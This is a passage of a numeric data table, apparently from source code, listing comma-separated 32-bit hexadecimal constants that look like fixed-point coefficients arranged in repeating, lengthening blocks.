0x032D1B81, 0x042F1627, 0x04CB945C, 0x04D51333,
0x02CACCCE, 0xFF164C7E, 0xFB89DC3D, 0xFA1E6097,
0xFB2D5B12, 0xFE70C450, 0x01DEA084, 0x04FF0DC8,
0x00057316, 0x00419792, 0x00DCE4DB, 0x01CEDF57,
0x02DBCBF4, 0x03C3FA56, 0x0450D253, 0x0484F6C3,
0x0438DD1F, 0x0226F1A6, 0xFEB17C9C, 0xFB8C8190,
0xFA82E01D, 0xFBBDFD82, 0xFEE9274A, 0x02059382,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0232EBA8, 0x02E5857D, 0x0351DCDD, 0x0379F8E5,
0x0365294D, 0x034C5DC4, 0x03644DF6, 0x0396510C,
0x02419ED4, 0xFF67D92A, 0xFC7A87B7, 0xFB328CD5,
0x0003070C, 0x002470A6, 0x007AB808, 0x010126BF,
0x01968DC1, 0x02178B13, 0x0265CA2E, 0x0282C1FB,
0x0273BA46, 0x0261D1F1, 0x02731BDC, 0x02BB8F1A,
0x033525E0, 0x03C1E60F, 0x043CD8D6, 0x048A0B37,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x0124B7FB, 0x01819756, 0x01B9EDBB, 0x01CEC91B,
0x01C3F6C1, 0x01B7120A, 0x01C384B3, 0x01F7AEB7,
0x024F39FE, 0x02B4912A, 0x030D1700, 0x0344ABEA,
0x000204B3, 0x00184B1A, 0x0051D005, 0x00AB6F2A,
0x010F092B, 0x01650762, 0x01993174, 0x01AC8152,
0x01A27C2E, 0x01968BF6, 0x01A21293, 0x01D25F67,
0x02236E96, 0x0281440A, 0x02D33B39, 0x0306B225,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x0059D1C3, 0xFF8585E5, 0xFECF8AAE, 0xFED8542D,
0xFEF802F6, 0xFFEEBC43, 0x00D32D7E, 0x014AF7EF,
0x0126D535, 0x0072F871, 0xFF952F91, 0xFEED7D9F,
0xFE93E93F, 0xFF3173CF, 0x000D9FB7, 0x00A3FAED,
0x01FF5D00, 0x02B47D00, 0x01F4BF52, 0x002ADF11,
0xFE63F0DA, 0xFD598F27, 0xFD7E807C, 0xFE6711A3,
0x00847C83, 0x0234FE30, 0x02CD93CF, 0x02107A23,
0x005C5856, 0xFE91E590, 0xFD532B5D, 0xFD42F4B9,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x03CB8DDC, 0x022A5B40, 0xFF58070E, 0xFD04C9EF,
0xFBDAC6D0, 0xFCA4A5A1, 0xFE8ECF56, 0x01A4EB06,
0x03BA2E88, 0x03FA8665, 0x025C933D, 0xFFAA1071,
0xFD1BDEB5, 0xFBE10C4B, 0x00091524, 0x006D51F3,
0x01702818, 0x0303743C, 0x04963F8C, 0x04485C0C,
0x01B5DDE0, 0xFE37A123, 0xFB96B177, 0xFAD2F4B7,
0xFC7CFFCD, 0xFF4EC9C6, 0x02F89F4C, 0x04F72050,
0x048DBFE7, 0x02060D72, 0xFE7D2A78, 0xFBBB3EB6,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x04156C82, 0x0532669C, 0x041F062F, 0x00E3F18B,
0xFCF87E2E, 0xFA89CC1A, 0xFA71046E, 0xFCEE85E6,
0x005645BE, 0x041C8A8B, 0x05ABBCD4, 0x04814363,
0x012C366A, 0xFD4DB7D6, 0x0006CFDB, 0x0051FD76,
0x01141E12, 0x0242972D, 0x0392BEF1, 0x04B4F8EC,
0x053557E8, 0x0391255B, 0xFFE38167, 0xFC02AA8E,
0xFA0F5124, 0xFAA3AD30, 0xFDB23A6C, 0x0146FFE2,
0x04CF6CD0, 0x05CC4152, 0x03EF5D77, 0x003B6092,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
0x032D1B81, 0x042F1627, 0x04CB945C, 0x04D51333,
0x02CACCCE, 0xFF164C7E, 0xFB89DC3D, 0xFA1E6097,
0xFB2D5B12, 0xFE70C450, 0x01DEA084, 0x04FF0DC8,
0x056C2F02, 0x03390A22, 0x00057316, 0x00419792,
0x00DCE4DB, 0x01CEDF57, 0x02DBCBF4, 0x03C3FA56,
0x0450D253, 0x0484F6C3, 0x0438DD1F, 0x0226F1A6,
0xFEB17C9C, 0xFB8C8190, 0xFA82E01D, 0xFBBDFD82,
0xFEE9274A, 0x02059382, 0x04B7EE22, 0x04E15CB3,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0232EBA8, 0x02E5857D, 0x0351DCDD, 0x0379F8E5,
0x0365294D, 0x034C5DC4, 0x03644DF6, 0x0396510C,
0x02419ED4, 0xFF67D92A, 0xFC7A87B7, 0xFB328CD5,
0xFBCDB83B, 0xFE4D6FBF, 0x0003070C, 0x002470A6,
0x007AB808, 0x010126BF, 0x01968DC1, 0x02178B13,
0x0265CA2E, 0x0282C1FB, 0x0273BA46, 0x0261D1F1,
0x02731BDC, 0x02BB8F1A, 0x033525E0, 0x03C1E60F,
0x043CD8D6, 0x048A0B37, 0x04671754, 0x024D9C10,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x0124B7FB, 0x01819756, 0x01B9EDBB, 0x01CEC91B,
0x01C3F6C1, 0x01B7120A, 0x01C384B3, 0x01F7AEB7,
0x024F39FE, 0x02B4912A, 0x030D1700, 0x0344ABEA,
0x03509004, 0x0343AAFA, 0x000204B3, 0x00184B1A,
0x0051D005, 0x00AB6F2A, 0x010F092B, 0x01650762,
0x01993174, 0x01AC8152, 0x01A27C2E, 0x01968BF6,
0x01A21293, 0x01D25F67, 0x02236E96, 0x0281440A,
0x02D33B39, 0x0306B225, 0x0311B4C2, 0x0305C43D,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x0059D1C3, 0xFF8585E5, 0xFECF8AAE, 0xFED8542D,
0xFEF802F6, 0xFFEEBC43, 0x00D32D7E, 0x014AF7EF,
0x0126D535, 0x0072F871, 0xFF952F91, 0xFEED7D9F,
0xFE93E93F, 0xFF3173CF, 0xFFECBDAF, 0x00A0FADE,
0x000D9FB7, 0x00A3FAED, 0x01FF5D00, 0x02B47D00,
0x01F4BF52, 0x002ADF11, 0xFE63F0DA, 0xFD598F27,
0xFD7E807C, 0xFE6711A3, 0x00847C83, 0x0234FE30,
0x02CD93CF, 0x02107A23, 0x005C5856, 0xFE91E590,
0xFD532B5D, 0xFD42F4B9, 0xFEBBBBFA, 0x005BD8AD,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x03CB8DDC, 0x022A5B40, 0xFF58070E, 0xFD04C9EF,
0xFBDAC6D0, 0xFCA4A5A1, 0xFE8ECF56, 0x01A4EB06,
0x03BA2E88, 0x03FA8665, 0x025C933D, 0xFFAA1071,
0xFD1BDEB5, 0xFBE10C4B, 0xFC6D3A39, 0xFED5B0FF,
0x00091524, 0x006D51F3, 0x01702818, 0x0303743C,
0x04963F8C, 0x04485C0C, 0x01B5DDE0, 0xFE37A123,
0xFB96B177, 0xFAD2F4B7, 0xFC7CFFCD, 0xFF4EC9C6,
0x02F89F4C, 0x04F72050, 0x048DBFE7, 0x02060D72,
0xFE7D2A78, 0xFBBB3EB6, 0xFAE0ABC2, 0xFC2F3B52,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x04156C82, 0x0532669C, 0x041F062F, 0x00E3F18B,
0xFCF87E2E, 0xFA89CC1A, 0xFA71046E, 0xFCEE85E6,
0x005645BE, 0x041C8A8B, 0x05ABBCD4, 0x04814363,
0x012C366A, 0xFD4DB7D6, 0xFAB71DB8, 0xFA6E892C,
0x0006CFDB, 0x0051FD76, 0x01141E12, 0x0242972D,
0x0392BEF1, 0x04B4F8EC, 0x053557E8, 0x0391255B,
0xFFE38167, 0xFC02AA8E, 0xFA0F5124, 0xFAA3AD30,
0xFDB23A6C, 0x0146FFE2, 0x04CF6CD0, 0x05CC4152,
0x03EF5D77, 0x003B6092, 0xFC62E8FE, 0xFA30630C,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
0x032D1B81, 0x042F1627, 0x04CB945C, 0x04D51333,
0x02CACCCE, 0xFF164C7E, 0xFB89DC3D, 0xFA1E6097,
0xFB2D5B12, 0xFE70C450, 0x01DEA084, 0x04FF0DC8,
0x056C2F02, 0x03390A22, 0xFF79A424, 0xFBE1F112,
0x00057316, 0x00419792, 0x00DCE4DB, 0x01CEDF57,
0x02DBCBF4, 0x03C3FA56, 0x0450D253, 0x0484F6C3,
0x0438DD1F, 0x0226F1A6, 0xFEB17C9C, 0xFB8C8190,
0xFA82E01D, 0xFBBDFD82, 0xFEE9274A, 0x02059382,
0x04B7EE22, 0x04E15CB3, 0x02A166C5, 0xFF0EF241,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0232EBA8, 0x02E5857D, 0x0351DCDD, 0x0379F8E5,
0x0365294D, 0x034C5DC4, 0x03644DF6, 0x0396510C,
0x02419ED4, 0xFF67D92A, 0xFC7A87B7, 0xFB328CD5,
0xFBCDB83B, 0xFE4D6FBF, 0x00F6A294, 0x03B17A52,
0x0003070C, 0x002470A6, 0x007AB808, 0x010126BF,
0x01968DC1, 0x02178B13, 0x0265CA2E, 0x0282C1FB,
0x0273BA46, 0x0261D1F1, 0x02731BDC, 0x02BB8F1A,
0x033525E0, 0x03C1E60F, 0x043CD8D6, 0x048A0B37,
0x04671754, 0x024D9C10, 0xFE9459BC, 0xFB112BAC,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x0124B7FB, 0x01819756, 0x01B9EDBB, 0x01CEC91B,
0x01C3F6C1, 0x01B7120A, 0x01C384B3, 0x01F7AEB7,
0x024F39FE, 0x02B4912A, 0x030D1700, 0x0344ABEA,
0x03509004, 0x0343AAFA, 0x0334764C, 0x033892ED,
0x000204B3, 0x00184B1A, 0x0051D005, 0x00AB6F2A,
0x010F092B, 0x01650762, 0x01993174, 0x01AC8152,
0x01A27C2E, 0x01968BF6, 0x01A21293, 0x01D25F67,
0x02236E96, 0x0281440A, 0x02D33B39, 0x0306B225,
0x0311B4C2, 0x0305C43D, 0x02F7AFE8, 0x02FB7E8F,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x0059D1C3, 0xFF8585E5, 0xFECF8AAE, 0xFED8542D,
0xFEF802F6, 0xFFEEBC43, 0x00D32D7E, 0x014AF7EF,
0x0126D535, 0x0072F871, 0xFF952F91, 0xFEED7D9F,
0xFE93E93F, 0xFF3173CF, 0xFFECBDAF, 0x00A0FADE,
0x01557371, 0x012398C8, 0x000D9FB7, 0x00A3FAED,
0x01FF5D00, 0x02B47D00, 0x01F4BF52, 0x002ADF11,
0xFE63F0DA, 0xFD598F27, 0xFD7E807C, 0xFE6711A3,
0x00847C83, 0x0234FE30, 0x02CD93CF, 0x02107A23,
0x005C5856, 0xFE91E590, 0xFD532B5D, 0xFD42F4B9,
0xFEBBBBFA, 0x005BD8AD, 0x01F18EE2, 0x02DADFC0,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x03CB8DDC, 0x022A5B40, 0xFF58070E, 0xFD04C9EF,
0xFBDAC6D0, 0xFCA4A5A1, 0xFE8ECF56, 0x01A4EB06,
0x03BA2E88, 0x03FA8665, 0x025C933D, 0xFFAA1071,
0xFD1BDEB5, 0xFBE10C4B, 0xFC6D3A39, 0xFED5B0FF,
0x016B6156, 0x036A7690, 0x00091524, 0x006D51F3,
0x01702818, 0x0303743C, 0x04963F8C, 0x04485C0C,
0x01B5DDE0, 0xFE37A123, 0xFB96B177, 0xFAD2F4B7,
0xFC7CFFCD, 0xFF4EC9C6, 0x02F89F4C, 0x04F72050,
0x048DBFE7, 0x02060D72, 0xFE7D2A78, 0xFBBB3EB6,
0xFAE0ABC2, 0xFC2F3B52, 0xFF91B8BC, 0x02B23380,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x04156C82, 0x0532669C, 0x041F062F, 0x00E3F18B,
0xFCF87E2E, 0xFA89CC1A, 0xFA71046E, 0xFCEE85E6,
0x005645BE, 0x041C8A8B, 0x05ABBCD4, 0x04814363,
0x012C366A, 0xFD4DB7D6, 0xFAB71DB8, 0xFA6E892C,
0xFC954902, 0x0094FFBC, 0x0006CFDB, 0x0051FD76,
0x01141E12, 0x0242972D, 0x0392BEF1, 0x04B4F8EC,
0x053557E8, 0x0391255B, 0xFFE38167, 0xFC02AA8E,
0xFA0F5124, 0xFAA3AD30, 0xFDB23A6C, 0x0146FFE2,
0x04CF6CD0, 0x05CC4152, 0x03EF5D77, 0x003B6092,
0xFC62E8FE, 0xFA30630C, 0xFA98FA87, 0xFD4F2C92,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
0x032D1B81, 0x042F1627, 0x04CB945C, 0x04D51333,
0x02CACCCE, 0xFF164C7E, 0xFB89DC3D, 0xFA1E6097,
0xFB2D5B12, 0xFE70C450, 0x01DEA084, 0x04FF0DC8,
0x056C2F02, 0x03390A22, 0xFF79A424, 0xFBE1F112,
0xFA396A1F, 0xFB1B3049, 0x00057316, 0x00419792,
0x00DCE4DB, 0x01CEDF57, 0x02DBCBF4, 0x03C3FA56,
0x0450D253, 0x0484F6C3, 0x0438DD1F, 0x0226F1A6,
0xFEB17C9C, 0xFB8C8190, 0xFA82E01D, 0xFBBDFD82,
0xFEE9274A, 0x02059382, 0x04B7EE22, 0x04E15CB3,
0x02A166C5, 0xFF0EF241, 0xFBE133C4, 0xFA981D9D,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0232EBA8, 0x02E5857D, 0x0351DCDD, 0x0379F8E5,
0x0365294D, 0x034C5DC4, 0x03644DF6, 0x0396510C,
0x02419ED4, 0xFF67D92A, 0xFC7A87B7, 0xFB328CD5,
0xFBCDB83B, 0xFE4D6FBF, 0x00F6A294, 0x03B17A52,
0x044CCD58, 0x02B6CAED, 0x0003070C, 0x002470A6,
0x007AB808, 0x010126BF, 0x01968DC1, 0x02178B13,
0x0265CA2E, 0x0282C1FB, 0x0273BA46, 0x0261D1F1,
0x02731BDC, 0x02BB8F1A, 0x033525E0, 0x03C1E60F,
0x043CD8D6, 0x048A0B37, 0x04671754, 0x024D9C10,
0xFE9459BC, 0xFB112BAC, 0xF9CADE84, 0xFAFFB428,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x0124B7FB, 0x01819756, 0x01B9EDBB, 0x01CEC91B,
0x01C3F6C1, 0x01B7120A, 0x01C384B3, 0x01F7AEB7,
0x024F39FE, 0x02B4912A, 0x030D1700, 0x0344ABEA,
0x03509004, 0x0343AAFA, 0x0334764C, 0x033892ED,
0x0365A8EC, 0x03B5BCC6, 0x000204B3, 0x00184B1A,
0x0051D005, 0x00AB6F2A, 0x010F092B, 0x01650762,
0x01993174, 0x01AC8152, 0x01A27C2E, 0x01968BF6,
0x01A21293, 0x01D25F67, 0x02236E96, 0x0281440A,
0x02D33B39, 0x0306B225, 0x0311B4C2, 0x0305C43D,
0x02F7AFE8, 0x02FB7E8F, 0x03253D98, 0x036F62F1,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x0059D1C3, 0xFF8585E5, 0xFECF8AAE, 0xFED8542D,
0xFEF802F6, 0xFFEEBC43, 0x00D32D7E, 0x014AF7EF,
0x0126D535, 0x0072F871, 0xFF952F91, 0xFEED7D9F,
0xFE93E93F, 0xFF3173CF, 0xFFECBDAF, 0x00A0FADE,
0x01557371, 0x012398C8, 0x006081E2, 0xFF78192B,
0xFEFACD1F, 0xFEA797E5, 0xFF2DE5B7, 0xFFDA733A,
0x00D26B5C, 0x016649A8, 0x00FBB78C, 0x0065AF98,
0x000D9FB7, 0x00A3FAED, 0x01FF5D00, 0x02B47D00,
0x01F4BF52, 0x002ADF11, 0xFE63F0DA, 0xFD598F27,
0xFD7E807C, 0xFE6711A3, 0x00847C83, 0x0234FE30,
0x02CD93CF, 0x02107A23, 0x005C5856, 0xFE91E590,
0xFD532B5D, 0xFD42F4B9, 0xFEBBBBFA, 0x005BD8AD,
0x01F18EE2, 0x02DADFC0, 0x01FDC695, 0x002AD5B3,
0xFE703F98, 0xFD75E59B, 0xFD5DD021, 0xFEA8AEFE,
0x00657D5C, 0x02485848, 0x02D63826, 0x01C5D705,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x03CB8DDC, 0x022A5B40, 0xFF58070E, 0xFD04C9EF,
0xFBDAC6D0, 0xFCA4A5A1, 0xFE8ECF56, 0x01A4EB06,
0x03BA2E88, 0x03FA8665, 0x025C933D, 0xFFAA1071,
0xFD1BDEB5, 0xFBE10C4B, 0xFC6D3A39, 0xFED5B0FF,
0x016B6156, 0x036A7690, 0x03FE6EAA, 0x022F245D,
0xFF6DE976, 0xFD034B63, 0xFC0E7E20, 0xFC816A35,
0xFED701C6, 0x018FE2D5, 0x03BFBAF7, 0x03EFFD66,
0x00091524, 0x006D51F3, 0x01702818, 0x0303743C,
0x04963F8C, 0x04485C0C, 0x01B5DDE0, 0xFE37A123,
0xFB96B177, 0xFAD2F4B7, 0xFC7CFFCD, 0xFF4EC9C6,
0x02F89F4C, 0x04F72050, 0x048DBFE7, 0x02060D72,
0xFE7D2A78, 0xFBBB3EB6, 0xFAE0ABC2, 0xFC2F3B52,
0xFF91B8BC, 0x02B23380, 0x0495FC9F, 0x047CDA86,
0x01CD741D, 0xFE43C296, 0xFBA6F0C6, 0xFB0C1D6B,
0xFC57B145, 0xFFA90875, 0x02D4ACED, 0x04ECD48D,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x04156C82, 0x0532669C, 0x041F062F, 0x00E3F18B,
0xFCF87E2E, 0xFA89CC1A, 0xFA71046E, 0xFCEE85E6,
0x005645BE, 0x041C8A8B, 0x05ABBCD4, 0x04814363,
0x012C366A, 0xFD4DB7D6, 0xFAB71DB8, 0xFA6E892C,
0xFC954902, 0x0094FFBC, 0x03C50148, 0x0531B04F,
0x04673655, 0x00F412BF, 0xFD14C020, 0xFA9E0601,
0xFAADBD35, 0xFCD37150, 0x00AAEE2E, 0x03E83F63,
0x0006CFDB, 0x0051FD76, 0x01141E12, 0x0242972D,
0x0392BEF1, 0x04B4F8EC, 0x053557E8, 0x0391255B,
0xFFE38167, 0xFC02AA8E, 0xFA0F5124, 0xFAA3AD30,
0xFDB23A6C, 0x0146FFE2, 0x04CF6CD0, 0x05CC4152,
0x03EF5D77, 0x003B6092, 0xFC62E8FE, 0xFA30630C,
0xFA98FA87, 0xFD4F2C92, 0x017BA5B1, 0x0460250E,
0x054483FE, 0x03D5D426, 0x00023FDD, 0xFC23697D,
0xFA263E2F, 0xFAED50AC, 0xFD8EA62D, 0x01927C52,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
0x032D1B81, 0x042F1627, 0x04CB945C, 0x04D51333,
0x02CACCCE, 0xFF164C7E, 0xFB89DC3D, 0xFA1E6097,
0xFB2D5B12, 0xFE70C450, 0x01DEA084, 0x04FF0DC8,
0x056C2F02, 0x03390A22, 0xFF79A424, 0xFBE1F112,
0xFA396A1F, 0xFB1B3049, 0xFDFFEC69, 0x0201BD62,
0x0481BE24, 0x04E05B45, 0x031EB7EA, 0xFF39A5CF,
0xFBADD81D, 0xFA40826F, 0xFB72AB38, 0xFE422644,
0x00057316, 0x00419792, 0x00DCE4DB, 0x01CEDF57,
0x02DBCBF4, 0x03C3FA56, 0x0450D253, 0x0484F6C3,
0x0438DD1F, 0x0226F1A6, 0xFEB17C9C, 0xFB8C8190,
0xFA82E01D, 0xFBBDFD82, 0xFEE9274A, 0x02059382,
0x04B7EE22, 0x04E15CB3, 0x02A166C5, 0xFF0EF241,
0xFBE133C4, 0xFA981D9D, 0xFBA04F0E, 0xFE648D6E,
0x021EA779, 0x04354C94, 0x045132CE, 0x0280F717,
0xFED84AC6, 0xFBBB46B5, 0xFAA109B3, 0xFBFBDB88,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0232EBA8, 0x02E5857D, 0x0351DCDD, 0x0379F8E5,
0x0365294D, 0x034C5DC4, 0x03644DF6, 0x0396510C,
0x02419ED4, 0xFF67D92A, 0xFC7A87B7, 0xFB328CD5,
0xFBCDB83B, 0xFE4D6FBF, 0x00F6A294, 0x03B17A52,
0x044CCD58, 0x02B6CAED, 0xFFBA97AD, 0xFCB6B894,
0xFB249D6D, 0xFB8EABF5, 0xFDB14773, 0x0102A2D0,
0x03244DB6, 0x03C1AC29, 0x02AA7373, 0xFF91C7C6,
0x0003070C, 0x002470A6, 0x007AB808, 0x010126BF,
0x01968DC1, 0x02178B13, 0x0265CA2E, 0x0282C1FB,
0x0273BA46, 0x0261D1F1, 0x02731BDC, 0x02BB8F1A,
0x033525E0, 0x03C1E60F, 0x043CD8D6, 0x048A0B37,
0x04671754, 0x024D9C10, 0xFE9459BC, 0xFB112BAC,
0xF9CADE84, 0xFAFFB428, 0xFE5CA63E, 0x01BCCA7F,
0x04C8E905, 0x050C9359, 0x02A8D919, 0xFEC84238,
0xFB39F64E, 0xF9B3D9F9, 0xFAB8EBF8, 0xFDBBE0D1,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x0124B7FB, 0x01819756, 0x01B9EDBB, 0x01CEC91B,
0x01C3F6C1, 0x01B7120A, 0x01C384B3, 0x01F7AEB7,
0x024F39FE, 0x02B4912A, 0x030D1700, 0x0344ABEA,
0x03509004, 0x0343AAFA, 0x0334764C, 0x033892ED,
0x0365A8EC, 0x03B5BCC6, 0x04116555, 0x04286E2D,
0x02453456, 0xFE9E4B85, 0xFB098B65, 0xF98B0856,
0xFA7E67F8, 0xFDB793E1, 0x011A2EEF, 0x045139BF,
0x000204B3, 0x00184B1A, 0x0051D005, 0x00AB6F2A,
0x010F092B, 0x01650762, 0x01993174, 0x01AC8152,
0x01A27C2E, 0x01968BF6, 0x01A21293, 0x01D25F67,
0x02236E96, 0x0281440A, 0x02D33B39, 0x0306B225,
0x0311B4C2, 0x0305C43D, 0x02F7AFE8, 0x02FB7E8F,
0x03253D98, 0x036F62F1, 0x03C44162, 0x040A062E,
0x0432C552, 0x0400C5DA, 0x01DB374B, 0xFE178DC0,
0xFA99B6AA, 0xF962C400, 0xFAA31B5F, 0xFE0A143A,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x0059D1C3, 0xFF8585E5, 0xFECF8AAE, 0xFED8542D,
0xFEF802F6, 0xFFEEBC43, 0x00D32D7E, 0x014AF7EF,
0x0126D535, 0x0072F871, 0xFF952F91, 0xFEED7D9F,
0xFE93E93F, 0xFF3173CF, 0xFFECBDAF, 0x00A0FADE,
0x01557371, 0x012398C8, 0x006081E2, 0xFF78192B,
0xFEFACD1F, 0xFEA797E5, 0xFF2DE5B7, 0xFFDA733A,
0x00D26B5C, 0x016649A8, 0x00FBB78C, 0x0065AF98,
0xFF9A1088, 0xFEC3407F, 0xFEB2F0E9, 0xFF02F548,
0x000AE7A8, 0x00CD8A16, 0x01443EFD, 0x01087F3E,
0x009DAB4F, 0xFFA0D1C8, 0xFEC6D3FE, 0xFEDA8FB9,
0xFF05B42C, 0x0002B3D4, 0x000D9FB7, 0x00A3FAED,
0x01FF5D00, 0x02B47D00, 0x01F4BF52, 0x002ADF11,
0xFE63F0DA, 0xFD598F27, 0xFD7E807C, 0xFE6711A3,
0x00847C83, 0x0234FE30, 0x02CD93CF, 0x02107A23,
0x005C5856, 0xFE91E590, 0xFD532B5D, 0xFD42F4B9,
0xFEBBBBFA, 0x005BD8AD, 0x01F18EE2, 0x02DADFC0,
0x01FDC695, 0x002AD5B3, 0xFE703F98, 0xFD75E59B,
0xFD5DD021, 0xFEA8AEFE, 0x00657D5C, 0x02485848,
0x02D63826, 0x01C5D705, 0x004C13CB, 0xFE79892C,
0xFD2B156D, 0xFD4EA153, 0xFE8C9DAA, 0x00AA830C,
0x02277E5E, 0x02ACBDEB, 0x0202FF59, 0x00A51E4D,
0xFE8659AA, 0xFD4E29C7, 0xFD8C1EB7, 0xFE8A9521,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x03CB8DDC, 0x022A5B40, 0xFF58070E, 0xFD04C9EF,
0xFBDAC6D0, 0xFCA4A5A1, 0xFE8ECF56, 0x01A4EB06,
0x03BA2E88, 0x03FA8665, 0x025C933D, 0xFFAA1071,
0xFD1BDEB5, 0xFBE10C4B, 0xFC6D3A39, 0xFED5B0FF,
0x016B6156, 0x036A7690, 0x03FE6EAA, 0x022F245D,
0xFF6DE976, 0xFD034B63, 0xFC0E7E20, 0xFC816A35,
0xFED701C6, 0x018FE2D5, 0x03BFBAF7, 0x03EFFD66,
0x0201F3D2, 0xFF7EA9CF, 0xFD04954D, 0xFB9E5B8D,
0xFC7F62F8, 0xFEC0EF25, 0x01CCD2E0, 0x0395C3AF,
0x03E3A40F, 0x0260307A, 0xFFEDAF4A, 0xFD2CCE3A,
0xFBD5FC8E, 0xFCC5139B, 0x00091524, 0x006D51F3,
0x01702818, 0x0303743C, 0x04963F8C, 0x04485C0C,
0x01B5DDE0, 0xFE37A123, 0xFB96B177, 0xFAD2F4B7,
0xFC7CFFCD, 0xFF4EC9C6, 0x02F89F4C, 0x04F72050,
0x048DBFE7, 0x02060D72, 0xFE7D2A78, 0xFBBB3EB6,
0xFAE0ABC2, 0xFC2F3B52, 0xFF91B8BC, 0x02B23380,
0x0495FC9F, 0x047CDA86, 0x01CD741D, 0xFE43C296,
0xFBA6F0C6, 0xFB0C1D6B, 0xFC57B145, 0xFFA90875,
0x02D4ACED, 0x04ECD48D, 0x0478DE80, 0x018BA745,
0xFE4F30F1, 0xFB8D6D5C, 0xFA9B5377, 0xFC5BFE70,
0xFF85EFA0, 0x03129D0D, 0x04D8C78D, 0x0483510B,
0x0201BB3A, 0xFEE0AD24, 0xFBC94B5B, 0xFADC8DA7,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x04156C82, 0x0532669C, 0x041F062F, 0x00E3F18B,
0xFCF87E2E, 0xFA89CC1A, 0xFA71046E, 0xFCEE85E6,
0x005645BE, 0x041C8A8B, 0x05ABBCD4, 0x04814363,
0x012C366A, 0xFD4DB7D6, 0xFAB71DB8, 0xFA6E892C,
0xFC954902, 0x0094FFBC, 0x03C50148, 0x0531B04F,
0x04673655, 0x00F412BF, 0xFD14C020, 0xFA9E0601,
0xFAADBD35, 0xFCD37150, 0x00AAEE2E, 0x03E83F63,
0x0598370E, 0x0452E412, 0x00A86A20, 0xFD09FA95,
0xFA8621D3, 0xFA3A644C, 0xFCCDAD0F, 0x008401EE,
0x043EE498, 0x0596B681, 0x046F2775, 0x01408080,
0xFDB541F8, 0xFACC8417, 0x0006CFDB, 0x0051FD76,
0x01141E12, 0x0242972D, 0x0392BEF1, 0x04B4F8EC,
0x053557E8, 0x0391255B, 0xFFE38167, 0xFC02AA8E,
0xFA0F5124, 0xFAA3AD30, 0xFDB23A6C, 0x0146FFE2,
0x04CF6CD0, 0x05CC4152, 0x03EF5D77, 0x003B6092,
0xFC62E8FE, 0xFA30630C, 0xFA98FA87, 0xFD4F2C92,
0x017BA5B1, 0x0460250E, 0x054483FE, 0x03D5D426,
0x00023FDD, 0xFC23697D, 0xFA263E2F, 0xFAED50AC,
0xFD8EA62D, 0x01927C52, 0x0490B36F, 0x05A1F91E,
0x03B98296, 0xFF9F183F, 0xFC1A28B0, 0xFA0DBCF5,
0xFA6B488A, 0xFD861FBC, 0x017DAFE7, 0x04FC68EB,
0x05AFB937, 0x03F1FE2A, 0x0051B805, 0xFCD5B506,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
0x032D1B81, 0x042F1627, 0x04CB945C, 0x04D51333,
0x02CACCCE, 0xFF164C7E, 0xFB89DC3D, 0xFA1E6097,
0xFB2D5B12, 0xFE70C450, 0x01DEA084, 0x04FF0DC8,
0x056C2F02, 0x03390A22, 0xFF79A424, 0xFBE1F112,
0xFA396A1F, 0xFB1B3049, 0xFDFFEC69, 0x0201BD62,
0x0481BE24, 0x04E05B45, 0x031EB7EA, 0xFF39A5CF,
0xFBADD81D, 0xFA40826F, 0xFB72AB38, 0xFE422644,
0x02249B0E, 0x04AA2331, 0x053A8B07, 0x02EDDDDD,
0xFED45EAB, 0xFBA4253D, 0xFA1C2E2B, 0xFAE979D0,
0xFE4A23D0, 0x022027CE, 0x05276BD5, 0x05615D03,
0x033D368D, 0xFF98E642, 0x00057316, 0x00419792,
0x00DCE4DB, 0x01CEDF57, 0x02DBCBF4, 0x03C3FA56,
0x0450D253, 0x0484F6C3, 0x0438DD1F, 0x0226F1A6,
0xFEB17C9C, 0xFB8C8190, 0xFA82E01D, 0xFBBDFD82,
0xFEE9274A, 0x02059382, 0x04B7EE22, 0x04E15CB3,
0x02A166C5, 0xFF0EF241, 0xFBE133C4, 0xFA981D9D,
0xFBA04F0E, 0xFE648D6E, 0x021EA779, 0x04354C94,
0x045132CE, 0x0280F717, 0xFED84AC6, 0xFBBB46B5,
0xFAA109B3, 0xFBFBDB88, 0xFEB32B4C, 0x023A7A30,
0x045A91AB, 0x049BE2F0, 0x024E392E, 0xFE6FDA08,
0xFBA7022E, 0xFA77154F, 0xFB7DBB05, 0xFECA6602,
0x02442DBA, 0x04F1CC7C, 0x04D79619, 0x02AD6668,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0232EBA8, 0x02E5857D, 0x0351DCDD, 0x0379F8E5,
0x0365294D, 0x034C5DC4, 0x03644DF6, 0x0396510C,
0x02419ED4, 0xFF67D92A, 0xFC7A87B7, 0xFB328CD5,
